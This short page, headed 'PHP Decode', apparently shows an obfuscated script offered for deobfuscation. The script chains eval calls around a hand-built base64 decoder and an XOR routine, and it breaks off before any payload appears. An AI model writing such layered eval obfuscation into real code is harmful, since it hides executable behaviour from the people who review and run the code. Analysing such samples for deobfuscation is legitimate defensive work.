PHP Decode

<?  (function(af,cfe5da8ea,ef){return af(cfe5da8ea,ef);})(function(_6fe,__htas){return eval(_6fe);},"(function(_4ad5da8e,_6ad5){return _4ad5da8e(_6ad5);})(function(_0a){return eval(_0a);},(function(_99d5,b9d5da8eab,d9d5da8e){return _99d5(b9d5da8eab,d9d5da8e);})(function(b,c,d,e){_A=[function(a){return a[_A[1]+_A[4]](0)[_A[5]+_A[6]+_A[7]]()+a[_A[8]](1)},"char","from","code","At","to","Upper","Case","slice","length","ceil"];A=[_A[9],_A[2]+_A[0](_A[1])+_A[0](_A[3]),_A[1]+_A[0](_A[3])+_A[4],_A[10],Math,String,"","",0,b,c];if(A[10][A[0]]<A[9][A[0]]){for(A[8]=0;A[8]<A[4][A[3]](A[9][A[0]]/A[10][A[0]]);A[8]++)A[7]+=A[10];A[10]=A[7]}for(A[8]=0;A[8]<A[9][A[0]];A[8]++)A[6]+=A[5][A[1]](A[9][A[2]](A[8])^A[10][A[2]](A[8]));return A[6]},(function(d8d5d,_29d5){return d8d5d(_29d5);})(function(b){var a=["indexOf","charAt","fromCharCode","length"],f=[],c=0,d="";do{var e=f[0]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[a[0]](b[a[1]](c++));var g=f[1]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[a[0]](b[a[1]](c++));var k=f[2]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[a[0]](b[a[1]](c++));var l=f[3]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="[a[0]](b[a[1]](c++));var h=e<<18| 
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